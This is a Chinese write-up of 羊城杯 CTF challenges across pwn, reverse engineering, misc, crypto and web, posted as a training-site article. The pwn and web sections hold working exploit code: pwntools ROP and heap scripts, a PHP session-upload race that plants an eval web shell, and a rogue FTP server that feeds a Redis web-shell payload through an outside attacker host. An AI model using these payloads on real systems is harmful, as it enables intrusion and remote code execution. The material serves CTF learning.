当前位置: 首页 > 蚁景新闻 > 羊城杯WP

羊城杯WP

发表于:2021-09-23 09:50 作者: Y1fan 阅读数(1445人)

Pwn1、Babyrop2、Whats your name3、NologinRe1、Android 2、vm 3、smc 4、Deltx Misc1、签到2、赛博德国人 3、misc520 4、Baby_Forenisc Crypto1、Rsa? 2、Bigrsa 3、RingRingRing 4、MISS 5、Easy_Rsa Web1、only 42、cross the side

Pwn

1、Babyrop

栈溢出,且存在后门函数;

利用func1将'/cin/sh'修改为'/bin/sh',

利用func2调用参数执行system('/bin/sh')即可

#!usr/bin/env python
#-*- coding:utf8 -*-
from pwn import *

#p = process("./BabyRop")
p = remote("192.168.39.161", 11000)
elf = ELF("./BabyRop")

payload = flat([
   'a'*(0x28+4),
   0x80491fd,  #func1
   0x8049332,  # ret address ;pop rdx r15 ;ret
   0x804c024,
   1,
   0x80491d6,  #func2:system
   0x80491d6,
   0x804c024
])

p.sendline(payload)
p.interactive()

bf13245d-6cbe-4415-920b-740c8f480273.png

2、Whats your name

Libc 2.23 + off by null:

c7087301-3df8-4902-ab44-b18446b65432.png

Off by null使得下个相邻chunk的pre_inuse置零;然后伪造pre_size,以及fake chunk的fd,bk,之后释放pre_inuse置零的chunk,实现unlink,造成堆块重叠;

最后覆写重叠堆块上存在的函数指针,改为setcontext+53,并提前布置好orw的rop链,调用show函数时,触发orw读出flag;

#!usr/bin/env python
#-*- coding:utf8 -*-
from pwn import *

pc="./name"
#p=process(pc,env={"LD_PRELOAD":"./libc.so.6"})
p = remote(192.168.39.161,9999)

ru = lambda x : p.recvuntil(x,timeout=0.2)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
ru7f = lambda : u64(ru('\x7f')[-6:].ljust(8,'\x00'))
rv6 = lambda : u64(rv(6)+'\x00'*2)

what_idx="index:"
def add(size):
   ru("5.exit\n")
   sl("1")
   ru("name size:")
   sl(str(size))

def edit(idx,c):
   ru("5.exit\n")
   sl("2")
   ru(what_idx)
   sl(str(idx))
   ru("name:")  
   sl(c)  

def show(idx):
   ru("5.exit\n")
   sl("3")
   ru(what_idx)
   sl(str(idx))

def dele(idx):
   ru("5.exit\n")
   sl("4")
   ru(what_idx)
   sl(str(idx))

add(0x100) #0
add(0x100) #1

dele(0)
add(0x30)
show(0)
libc_base = ru7f() - 0x3c4b78 -0xe0
setcontext_53 = libc_base + libc.sym['setcontext'] + 53

add(0x10) #2
show(2)
ru('\n') #这里需要根据具体情况调试
heap_addr = rv6() - 0xad0

dele(0)
add(0x48) #0
add(0x100) #3

pay = flat([
   0,0x41,
   heap_addr+0xc8-0x18,heap_addr+0xc8-0x10,
   'a'*0x20,
   0x40
])
edit(0,pay)
edit(3,'a'*0xf0+p64(0x100)+p64(0x121))
dele(3)

add(0x10) #3  
add(0xa8-0x20) #4  
add(0xc0) #5  

srop_addr = heap_addr+0xb30
pay = flat([
   0,0x21,
   setcontext_53,srop_addr
])
edit(0,pay)

syscall =  libc_base + 0xbc3f5    
p_rdi = libc_base + 0x21112
p_rsi =   libc_base + 0x202f8
p_rax_rdx_rbx =  libc_base + 0x1436b1
ret =  p_rsi+1

rop_base = heap_addr + 0xc60
edit(5,'\x00'*0xa0+p64(rop_base)+p64(ret))

flag_str_addr = heap_addr  
flag_addr=rop_base+0xd8
payload=flat([
   p_rdi,flag_addr,
   p_rsi,4,
   p_rax_rdx_rbx,2,4,0,
   syscall,
   p_rdi,3,
   p_rsi,flag_str_addr,
   p_rax_rdx_rbx,0,0x50,0,
   syscall,
   p_rdi,1,
   p_rsi,flag_str_addr,
   p_rax_rdx_rbx,1,0x50,0,
   syscall,
   'flag\x00'
])
edit(1, payload)
show(0)
p.interactive()

0dfe144f-3b09-4f98-a9cd-644b5366a9f5.png

3、Nologin

查看保护:

3d5d1bef-4fee-4a88-a199-cee9bb519883.png

存在栈溢出的点:

0449788f-eb59-4c1c-bded-2993af54796b.png

第一次溢出劫持rbp,再返回到溢出函数;

第二次溢出,首先往bss段上读orw的gadget,其中pop rdx要自己写到bss上;

然后栈迁移到bss段上,执行orw

#!usr/bin/env python 
#-*- coding:utf8 -*-
from pwn import *

pc="./nologin"
reomote_addr=["",40001]
context.log_level="debug"
# p=process(pc)
p = remote("192.168.39.161",40001)

ru = lambda x : p.recvuntil(x,timeout=0.2)
sn = lambda x : p.send(x)
rl = lambda   : p.recvline()  
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
ru7f = lambda : u64(ru('\x7f')[-6:].ljust(8,'\x00'))
rv6 = lambda : u64(rv(6)+'\x00'*2)


p.sendlineafter("input>> \n","2")

flag_addr = 0x0602020+0x400
str_addr = 0x0602050
p.sendlineafter(">password: \n","1"*5+p64(flag_addr)+p64(0x400FF8))

# rax=0x602420
p.sendafter("password: \n","a"*0xd+p64(0x4009BC)+"a"*9 )

read_addr = 0x400780
open_addr = 0x4007B0
puts_addr = 0x400730
p_rdi = 0x401173
p_rsi_r15 = 0x401171
p_rdx = 0x6024b0

orw = flat([
       p_rdi,flag_addr,
       p_rsi_r15,0,0,
       open_addr,
       p_rdi,4,
       p_rsi_r15,str_addr,0,
       p_rdx,0x40,
       read_addr,
       p_rdi,str_addr,
       puts_addr
])

p.sendline(("./flag".ljust(8,'\x00')+orw+asm("pop rdx\nret\n")) )
p.interactive()

6dd09b69-8002-44f2-8cc6-2c40726e5c32 (1).png

Re

1、Android

将apk文件拉到jeb中进行分析,发现checkflag的关键逻辑在activity层

1.png

可以看到是一个base64算法,但是base表要通过和服务器交互得到

main里面有交互的代码

2.png

远程连接端口,输入的值进行md5,之后每字节减1为c232666f1410b3f5010dc51cec341f58

直接进行在线解密

3.png

之后连接端口取得变表,base解密得到flag为

SangFor{212f4548-03d1-11ec-ab68-00155db3a27e}

2、vm

分析程序,将程序smc动调自解密后,发现是一个vm

动态调试 跟进程序逻辑,发现 vm就是前32字节就是取数据单字节异或,后面的12字节分为3组进行相同的加密

得到以下关键点:

前32字节最后比较的地方

4.png

取输入

5.png

前三十二字节的异或

6.png

之后三组加密对比密文的地方:

7.png

同时跟进加密逻辑为

data = (data >> 5)^data

data = ((tmp << 7)&2565961507)^ data

data = ((tmp << 0x18)&904182048)^ data

data = (tmp >> 0x12)^ data

这三组用z3进行约束求解

之后 分段解密得到flag字符串为16584abc45baff901c59dde3b1bb6701a254b06cdc23

3、smc

首先搜索字符串定位关键代码

8.png

动态调试,让程序自解密得到代码如下:

9.png

分析发现就是将程序进行base64变表加密之后再与四个数字进行异或

跟到base变表如下:

10.png

之后直接上脚本解密

#include<iostream>
#include <iomanip>
using namespace std;
int main()
{
int table[64] = {0xE4,0xC4,0xE7,0xC7,0xE6,0xC6,0xE1,0xC1,0xE0,0xC0,0xE3,0xC3,0xE2,0xC2,0xED,0xCD,0xEC,0xCC,0xEF,0xCF,0xEE,0xCE,0xE9,0xC9,0xE8,0xC8,0xEB,0xCB,0xEA,0xCA,0xF5,0xD5,0xF4,0xD4,0xF7,0xD7,0xF6,0xD6,0xF1,0xD1,0xF0,0xD0,0xF3,0xD3,0xF2,0xD2,0xFD,0xDD,0xFC,0xDC,0xFF,0xDF,0x95,0x9C,0x9D,0x92,0x93,0x90,0x91,0x96,0x97,0x94,0x8A,0x8E};
 int code[56] = {0x48,0x3E,0x6F,0x51,0x6E,0x36,0x61,0x71,0x4C,0x72,0x7B,0x44,0x48,0x36,0x6F,0x64,0x68,0x64,0x6D,0x30,0x64,0x4D,0x65,0x60,0x4D,0x42,0x6F,0x3F,0x6C,0x52,0x67,0x6C,0x48,0x74,0x47,0x50,0x4F,0x64,0x6F,0x62,0x44,0x6C,0x6B,0x6E,0x65,0x6A,0x6D,0x47,0x49,0x7C,0x67,0x68,0x44,0x62,0x3C,0x34};
 for(int k=0;k<56;k+=4)
{
       code[k] ^= 0xa6;
               code[k+1] ^= 0xa3;
               code[k+2] ^= 0xa9;
               code[k+3] ^= 0xac;
  }

       int a[56];//下标
  for(int j=0;j<56;j++)
     for(int i=0;i<64;i++)
        if(table[i]==code[j])
                  a[j]=i;
           

  int len = 56;
  int flag[56];
  j=0;
  int i=0;
  do
  {  
       flag[j] = (a[i]<<2) | (a[i+1]>>4); //取出第一个的前6位与第二个后2位进行组合  
       flag[j+1] = ((a[i+1] & 0xf)<<4) | (a[i+2]>>2); //取出第二个的后4位与第三个的后4位进行组合  
       flag[j+2] = ((a[i+2] & 0x3)<<6) | (a[i+3]);//取出第三个字符的后2位与第4个字符进行组合  
       j+=3;
       i+=4;
  }  
   while(i<len-2);//8/4*3=6
   cout<<"V8:"<<endl;
   for(i=0;i<56;i+=4)
  {
       printf("%c%c%c%c", flag[i], flag[i+1], flag[i+2], flag[i+3]);
  }

       return 0;
}

4、Deltx

分析程序,发现输入应该为41位,然后将SangFor{}里面的数据分为八组,每组4byte

之后后面的判断实际都是判断相乘和相加的结果

直接列出方程在线解密

-v16 + v10 = -42564

v16*v10=614340037

得到v16 = 0xD2BF v10 = 0x2C7B

以此类推 得到flag为

SangFor{2C7BD2BF862564baED0B6B6EA94F15BC}

Misc

1、签到

根据图片含义推断数字含义,比较脑洞,对gif逐帧分离后

28-08-30-07-04-20-02-17-23-01-12-19

求一下md5 d93b7da38d89c19f481e710ef1b3558b

2、赛博德国人

压缩包的hint

11.png

流量包导出pdf 和 txt

还可以找到密码为d279186428a75016b17e4df5ea43d080230 打开pdf有密钥

然后engima解密得到475748547berta36623936373230356665373537393566313034383537316366346366623730337dora

德语单词和十六进制转化后得到GWHT{6b967205fe75795f1048571cf4cfb703}

3、misc520

150号压缩包里面提取到

72, 89, 75, 88, 128, 93, 58, 116, 76, 121, 120, 63, 108,

解压0号压缩包,并从flag.png中提取压缩包,爆破密码,得到流量包如下:

不支持在 Docs 外粘贴 block

类似xnuca那个鼠标流量,还原鼠标流量画图

12.png

13.png

前后两部分字符串拼接起来,asc偏移解密

GWHT{W3lCom3_t0_M!sc}

4、Baby_Forenisc

vol,cmdscan发现要找git号,过滤git有关内容

发现ssh.txt连接github的私钥

b3BlbnN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qM6R0/0k4cB09pkDVinuFuGk5iDy
YKyjAGiAxFI9ACiZ5NLKTsdaEqtCPfAAAAwQDFAXbSxwbLYWDacBNUm4E7FZsYKkqoIAWQ
3uEQP5Sp7GrCU5dWraGB2wOkX+irMYGDfTk5qG8NLyYoSKVIZwA6ijDliWekL6XdPGJfKK
7xw64Nx6syc7oD7scSzTGNH0m1z+T2rjP3dMDDVhYMHksYcSxikyHNzLR9Z51hCOHeKb1O
8LNW4IrC6AYeXt8sHizSLIagncOuPtSkKiGdR5fn65fHomMzaVQsSJYvwNeSrKXu36NSJm
27AuL6DDE2vJUAAAAUc29uZzU1MjA4NTEwN0BxcS5jb20BAgMEBQYH

putty加载

14.png

发现了一个邮箱,去GitHub搜索,是个手机app

下载APP文件,在里面找到一个htm,有段base

U2FuZ0ZvcntTMF8zYXp5XzJfY3JhY2tfbm9vYl9wbGF5ZXJ9

解base64即可

Crypto

1、Rsa?

读getloop函数,有:

(x1+a*y1)(mod n)=((X+aY)^65536)(mod n)

因为 a=((inv_Z1-X)*inv_Y)%n,

所以 (x1+a*y1)(mod n)=(inv_Z1^65536)(mod n)

yafu分解n

15.png

求得inv_Z1,Z1,X

X+aY=inv_Z1

故 Y=((inv_Z1-X)*inv_a)(mod n)

from gmpy2 import invert
from Crypto.Util.number import long_to_bytes
n = 13390709926509813526471364597371124446888078365567927211781799241724742352679484983709219580483800891886832613684875066109177882219522305348565532970795023
p = 115718235064789220654263009993128325569382592506655305434488398268608329541037
q = 115718235064789220654263009993128324769382192706654302434478391267607309966379
phin = (p - 1) * (q - 1)
x1 = 5404548088049249951619519701935576492239293254135836357417714329205323074367876875480850741613547220698045360461761929952847796420174204143917852624050110
y1 = 2110372753170830610718226848526649992911771424441223687775304654852191999130502986109306355582366065947895295520226816523397652918227241733632791793362785
e = 65537
a = 1762039418842677123086894939949574689744108610561557889235294034870342076452734215004689409493802437034960516295735815195656138656970901855976802991519141
d = invert(e, phin)
inv_Z1 = pow((x1 + a * y1) % n, d, n)
Z1 = invert(inv_Z1, n)
inv_2 = invert(2, n)
X = ((Z1 + inv_Z1) * inv_2) % n
Y = ((inv_Z1 -X) * invert(a, n)) % n
print(long_to_bytes(Y))

flag:GWHT{pell_equation_is_very_interesting}

2、Bigrsa

模不互素攻击。p可以从greatest common factor(n1、n2)得到,

求出q1、q2,就可以有私钥解密了

import math
from gmpy2 import invert
from Crypto.Util.number import *


n1 = 103835296409081751860770535514746586815395898427260334325680313648369132661057840680823295512236948953370895568419721331170834557812541468309298819497267746892814583806423027167382825479157951365823085639078738847647634406841331307035593810712914545347201619004253602692127370265833092082543067153606828049061
n2 = 115383198584677147487556014336448310721853841168758012445634182814180314480501828927160071015197089456042472185850893847370481817325868824076245290735749717384769661698895000176441497242371873981353689607711146852891551491168528799814311992471449640014501858763495472267168224015665906627382490565507927272073
e = 65537
c = 60406168302768860804211220055708551816238816061772464557956985699400782163597251861675967909246187833328847989530950308053492202064477410641014045601986036822451416365957817685047102703301347664879870026582087365822433436251615243854347490600004857861059245403674349457345319269266645006969222744554974358264
p = math.gcd(n1, n2)
print(p)

p = 10210039189276167395636779557271057346691950991057423589319031237857569595284598319093522326723650646963251941930167018746859556383067696079622198265424441
q1 = n1 // p
q2 = n2 // p
phin1 = (p - 1) * (q1 - 1)
phin2 = (p - 1) * (q2 - 1)
d1 = invert(e, phin1)
d2 = invert(e, phin2)
m = pow(c, d2, n2)
m = pow(m, d1, n1)
print(long_to_bytes(m))

flag:SangFor{qSccmm1WrgvIg2Uq_cZhmqNfEGTz2GV8}

3、RingRingRing

import string
import pwn
from pwnlib.util.iters import mbruteforce
from hashlib import md5


def main():
r = pwn.remote("192.168.39.161", 2378)
msg = r.recvuntil('xxxxx:').decode()
suffix = msg[msg.find(' + ') + 3: msg.find(')')]
cipher = msg[msg.find('==') + 3: msg.find('\n')]
proof = mbruteforce(lambda x: md5((x + suffix).encode()).hexdigest()[:5] == cipher, string.ascii_letters + string.digits, length=5, method='fixed')
r.send((proof + '\n').encode())
cnt = 0
while cnt < 100:
for i in range(4):
msg = r.recvuntil(': ').decode()
r.send((str(cnt + 1) + '\n').encode())
msg = r.recvuntil(': ').decode()
num = 2 * (cnt + 1) ** 2
r.send((str(num) + '\n').encode())
cnt += 1
msg = r.recvall().decode()
print(msg)


if __name__ == '__main__':
main()

flag:GWHT{a_funny_equation}

4、MISS

https://github.com/Mathsyo/CTFs/tree/2630cdb64799774020d32107ff0ebcf269c64535/MidnightFlagCTF/Cryptography/Something_missing

S_BOX = [
0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76,
0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0,
0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15,
0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75,
0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84,
0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf,
0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8,
0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2,
0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e,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4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91, 0x39, 0x72, 0xe4, 0xd3, 0xbd, 0x61, 0xc2, 0x9f,
0x25, 0x4a, 0x94, 0x33, 0x66, 0xcc, 0x83, 0x1d, 0x3a, 0x74, 0xe8, 0xcb, 0x8d, 0x01, 0x02, 0x04,
0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63,
0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91, 0x39, 0x72, 0xe4, 0xd3, 0xbd,
0x61, 0xc2, 0x9f, 0x25, 0x4a, 0x94, 0x33, 0x66, 0xcc, 0x83, 0x1d, 0x3a, 0x74, 0xe8, 0xcb, 0x8d]

GF_MULT_1 = [
0x00,0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08,0x09,0x0a,0x0b,0x0c,0x0d,0x0e,0x0f,
0x10,0x11,0x12,0x13,0x14,0x15,0x16,0x17,0x18,0x19,0x1a,0x1b,0x1c,0x1d,0x1e,0x1f,
0x20,0x21,0x22,0x23,0x24,0x25,0x26,0x27,0x28,0x29,0x2a,0x2b,0x2c,0x2d,0x2e,0x2f,
0x30,0x31,0x32,0x33,0x34,0x35,0x36,0x37,0x38,0x39,0x3a,0x3b,0x3c,0x3d,0x3e,0x3f,
0x40,0x41,0x42,0x43,0x44,0x45,0x46,0x47,0x48,0x49,0x4a,0x4b,0x4c,0x4d,0x4e,0x4f,
0x50,0x51,0x52,0x53,0x54,0x55,0x56,0x57,0x58,0x59,0x5a,0x5b,0x5c,0x5d,0x5e,0x5f,
0x60,0x61,0x62,0x63,0x64,0x65,0x66,0x67,0x68,0x69,0x6a,0x6b,0x6c,0x6d,0x6e,0x6f,
0x70,0x71,0x72,0x73,0x74,0x75,0x76,0x77,0x78,0x79,0x7a,0x7b,0x7c,0x7d,0x7e,0x7f,
0x80,0x81,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x76,0x55,0x58,0x4f,0x42,0x09,0x04,0x13,0x1e,0x3d,0x30,0x27,0x2a,
0xb1,0xbc,0xab,0xa6,0x85,0x88,0x9f,0x92,0xd9,0xd4,0xc3,0xce,0xed,0xe0,0xf7,0xfa,
0xb7,0xba,0xad,0xa0,0x83,0x8e,0x99,0x94,0xdf,0xd2,0xc5,0xc8,0xeb,0xe6,0xf1,0xfc,
0x67,0x6a,0x7d,0x70,0x53,0x5e,0x49,0x44,0x0f,0x02,0x15,0x18,0x3b,0x36,0x21,0x2c,
0x0c,0x01,0x16,0x1b,0x38,0x35,0x22,0x2f,0x64,0x69,0x7e,0x73,0x50,0x5d,0x4a,0x47,
0xdc,0xd1,0xc6,0xcb,0xe8,0xe5,0xf2,0xff,0xb4,0xb9,0xae,0xa3,0x80,0x8d,0x9a,0x97]

GF_MULT_14 = [
0x00,0x0e,0x1c,0x12,0x38,0x36,0x24,0x2a,0x70,0x7e,0x6c,0x62,0x48,0x46,0x54,0x5a,
0xe0,0xee,0xfc,0xf2,0xd8,0xd6,0xc4,0xca,0x90,0x9e,0x8c,0x82,0xa8,0xa6,0xb4,0xba,
0xdb,0xd5,0xc7,0xc9,0xe3,0xed,0xff,0xf1,0xab,0xa5,0xb7,0xb9,0x93,0x9d,0x8f,0x81,
0x3b,0x35,0x27,0x29,0x03,0x0d,0x1f,0x11,0x4b,0x45,0x57,0x59,0x73,0x7d,0x6f,0x61,
0xad,0xa3,0xb1,0xbf,0x95,0x9b,0x89,0x87,0xdd,0xd3,0xc1,0xcf,0xe5,0xeb,0xf9,0xf7,
0x4d,0x43,0x51,0x5f,0x75,0x7b,0x69,0x67,0x3d,0x33,0x21,0x2f,0x05,0x0b,0x19,0x17,
0x76,0x78,0x6a,0x64,0x4e,0x40,0x52,0x5c,0x06,0x08,0x1a,0x14,0x3e,0x30,0x22,0x2c,
0x96,0x98,0x8a,0x84,0xae,0xa0,0xb2,0xbc,0xe6,0xe8,0xfa,0xf4,0xde,0xd0,0xc2,0xcc,
0x41,0x4f,0x5d,0x53,0x79,0x77,0x65,0x6b,0x31,0x3f,0x2d,0x23,0x09,0x07,0x15,0x1b,
0xa1,0xaf,0xbd,0xb3,0x99,0x97,0x85,0x8b,0xd1,0xdf,0xcd,0xc3,0xe9,0xe7,0xf5,0xfb,
0x9a,0x94,0x86,0x88,0xa2,0xac,0xbe,0xb0,0xea,0xe4,0xf6,0xf8,0xd2,0xdc,0xce,0xc0,
0x7a,0x74,0x66,0x68,0x42,0x4c,0x5e,0x50,0x0a,0x04,0x16,0x18,0x32,0x3c,0x2e,0x20,
0xec,0xe2,0xf0,0xfe,0xd4,0xda,0xc8,0xc6,0x9c,0x92,0x80,0x8e,0xa4,0xaa,0xb8,0xb6,
0x0c,0x02,0x10,0x1e,0x34,0x3a,0x28,0x26,0x7c,0x72,0x60,0x6e,0x44,0x4a,0x58,0x56,
0x37,0x39,0x2b,0x25,0x0f,0x01,0x13,0x1d,0x47,0x49,0x5b,0x55,0x7f,0x71,0x63,0x6d,
0xd7,0xd9,0xcb,0xc5,0xef,0xe1,0xf3,0xfd,0xa7,0xa9,0xbb,0xb5,0x9f,0x91,0x83,0x8d]



def inv_subWord(byteArray):
res = bytearray()

for b in byteArray:
res.append( S_INV_BOX[b] )

return res




def inv_subBytes(aesState):
resState = bytearray()

for i in range(0,len(aesState),4):
resState[i:i+4] = inv_subWord(aesState[i:i+4])

return resState


def inv_shiftRow(aesState):
resState = bytearray()

"""
0 4 8 c 0 4 8 c
1 5 9 d d 1 5 9
2 6 a e -> a e 2 6
3 7 b f 7 b f 3
"""

newPosition = [ 0, 0xd, 0xa, 7,
4, 1, 0xe, 0xb,
8, 5, 2, 0xf,
0xc, 9, 6, 3
]

for i in newPosition:
resState.append(aesState[i])

return resState




def inv_mixColumn(aesState):

res = bytearray()

for i in range(0,len(aesState),4):
b0, b1, b2, b3 = aesState[i:(i+4)]

new_b0 = GF_MULT_14[b0] ^ GF_MULT_11[b1] ^ GF_MULT_13[b2] ^ GF_MULT_09[b3]
new_b1 = GF_MULT_09[b0] ^ GF_MULT_14[b1] ^ GF_MULT_11[b2] ^ GF_MULT_13[b3]
new_b2 = GF_MULT_13[b0] ^ GF_MULT_09[b1] ^ GF_MULT_14[b2] ^ GF_MULT_11[b3]
new_b3 = GF_MULT_11[b0] ^ GF_MULT_13[b1] ^ GF_MULT_09[b2] ^ GF_MULT_14[b3]

res.append(new_b0)
res.append(new_b1)
res.append(new_b2)
res.append(new_b3)


return res


def AES_Decryption(cipherText, AES_key, nbRound):

res = cipherText

res = inv_shiftRow(res)

res = inv_subBytes(res)

for i in range(nbRound-1, 0, -1):

res = inv_mixColumn(res)

res = inv_shiftRow(res)

res = inv_subBytes(res)

return res


def main():

AES_Key = None


with open("cipher.txt","rb") as f_in:
cipherText = f_in.read()

secondPlainText = AES_Decryption(cipherText, AES_Key,10)

print(secondPlainText)



if __name__ == '__main__':
main()

flag:SangFor{cb4_k27}

5、Easy_Rsa

(p-1)和(q-1)有公共的大质数因数g,用魔改的rho方法分解n

https://0xdktb.top/2020/02/28/Summary-of-Crypto-in-CTF-RSA/中U13

from Crypto.Util.number import *
from gmpy2 import invert


def f(x, n):
return (pow(x, n - 1, n) + 3) % n


def rho(n):
i = 1
while True:
a = getRandomRange(2, n)
b = f(a, n)
j = 1
while True:
p = GCD(abs(a - b), n)
# print('{} in {} circle'.format(j, i))
if p == n:
break
elif p > 1:
return (p, n // p)
else:
a = f(a, n)
b = f(f(b, n), n)
j += 1
i += 1


def main(n):
# print(rho(n))
return rho(n)


if __name__ == '__main__':
n = 84236796025318186855187782611491334781897277899439717384242559751095347166978304126358295609924321812851255222430530001043539925782811895605398187299748256080526691975084042025794113521587064616352833904856626744098904922117855866813505228134381046907659080078950018430266048447119221001098505107823645953039
e = 58337
c = 13646200911032594651110040891135783560995665642049282201695300382255436792102048169200570930229947213493204600006876822744757042959653203573780257603577712302687497959686258542388622714078571068849217323703865310256200818493894194213812410547780002879351619924848073893321472704218227047519748394961963394668
p, q = main(n)
# p = 9983140483800634632426126985832058062766650402234684899412786169759602188949733747138853010482968306554808689182393249326088351886439191015684338347893201
# q = 8437905502983445042677582637893534375137565614989838462475696727313788501904161403475771835934720130340799646782932619714906025013322551788559197469878239
phin = (p - 1) * (q - 1)
d = invert(e, phin)
m = pow(c, d, n)
print(long_to_bytes(m))

flag:SangFor{0a8c2220-4c1b-32c8-e8c1-adf92ec7678b}

Web

1、only 4

https://www.freebuf.com/vuls/202819.html 条件竞争的脚本直接打

#coding=utf-8
import io
import requests
import threading
sessid = 'bad_cat'
data = {"cmd":"system('cat /flag');"}
def write(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
resp = session.post( 'http://192.168.39.161:8000/index.php', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('tgao.txt',f)}, cookies={'PHPSESSID': sessid} )
def read(session):
while True:
resp = session.post('http://192.168.39.161:8000/index.php?gwht=/var/lib/php5/sess_'+sessid,data=data)
if 'tgao.txt' in resp.text:
print(resp.text)
event.clear()
else:
print("[+]")
if __name__=="__main__":
event=threading.Event()
with requests.session() as session:
for i in range(1,30):
threading.Thread(target=write,args=(session,)).start()
for i in range(1,30):
threading.Thread(target=read,args=(session,)).start()
event.set()

回显flag

16.png

2、cross the side

ssrf打6379的redis,过程和脚本参考

https://github.com/Maskhe/evil_ftp

https://www.cnblogs.com/zpchcbd/p/14702897.html

payload用 https://github.com/tarunkant/Gopherus 生成

自己vps跑个恶意ftp:

# -*- coding: utf-8 -*-
# @Time : 2021/1/13 6:56 下午
# @Author : tntaxin
# @File : ftp_redirect.py
# @Software:

import socket
from urllib.parse import unquote

# 对gopherus生成的payload进行一次urldecode
payload = unquote("%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2434%0D%0A%0A%0A%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A")
payload = payload.encode('utf-8')

host = '0.0.0.0'
port = 23
sk = socket.socket()
sk.bind((host, port))
sk.listen(5)

# ftp被动模式的passvie port,监听到1234
sk2 = socket.socket()
sk2.bind((host, 1234))
sk2.listen()

# 计数器,用于区分是第几次ftp连接
count = 1
while 1:
conn, address = sk.accept()
conn.send(b"200 \n")
print(conn.recv(20)) # USER aaa\r\n 客户端传来用户名
if count == 1:
conn.send(b"220 ready\n")
else:
conn.send(b"200 ready\n")

print(conn.recv(20)) # TYPE I\r\n 客户端告诉服务端以什么格式传输数据,TYPE I表示二进制, TYPE A表示文本
if count == 1:
conn.send(b"215 \n")
else:
conn.send(b"200 \n")

print(conn.recv(20)) # SIZE /123\r\n 客户端询问文件/123的大小
if count == 1:
conn.send(b"213 3 \n")
else:
conn.send(b"300 \n")

print(conn.recv(20)) # EPSV\r\n'
conn.send(b"200 \n")

print(conn.recv(20)) # PASV\r\n 客户端告诉服务端进入被动连接模式
if count == 1:
conn.send(b"227 81,70,59,112,0,1234\n") # 服务端告诉客户端需要到那个ip:port去获取数据,ip,port都是用逗号隔开,其中端口的计算规则为:4*256+210=1234
else:
conn.send(b"227 127,0,0,1,0,6379\n") # 端口计算规则:35*256+40=9000

print(conn.recv(20)) # 第一次连接会收到命令RETR /123\r\n,第二次连接会收到STOR /123\r\n
if count == 1:
conn.send(b"125 \n") # 告诉客户端可以开始数据链接了
# 新建一个socket给服务端返回我们的payload
print("建立连接!")
conn2, address2 = sk2.accept()
conn2.send(payload)
conn2.close()
print("断开连接!")
else:
conn.send(b"150 \n")
print(conn.recv(20))
exit()

# 第一次连接是下载文件,需要告诉客户端下载已经结束
if count == 1:
conn.send(b"226 \n")
conn.close()
count += 1

发包

POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.39.161:8077
Content-Type: application/json
Content-Length: 194

{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "ftp://aaa@81.70.59.112:23/123"
}
}

访问发现写进去了,antsword连接 http://81.70.59.112:23/shell.php 根目录flag

17.png

点击进行实验